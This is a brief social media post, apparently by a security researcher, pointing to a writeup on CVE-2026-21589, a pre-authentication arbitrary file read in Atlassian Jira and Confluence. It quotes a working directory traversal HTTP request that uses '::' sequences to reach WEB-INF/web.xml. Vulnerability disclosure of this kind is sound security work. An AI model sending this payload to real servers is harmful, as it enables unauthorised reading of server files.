OK, this is an innovative directory traversal vuln: GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1 This is from CVE-2026-21589, https://labs.watchtowr.com/you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-read-cve-2026-21589/ The "::" gets replaced with "/" by some weird sanitation method, read more about it in the writeup. Tagging @nynbinary for humorous memeing.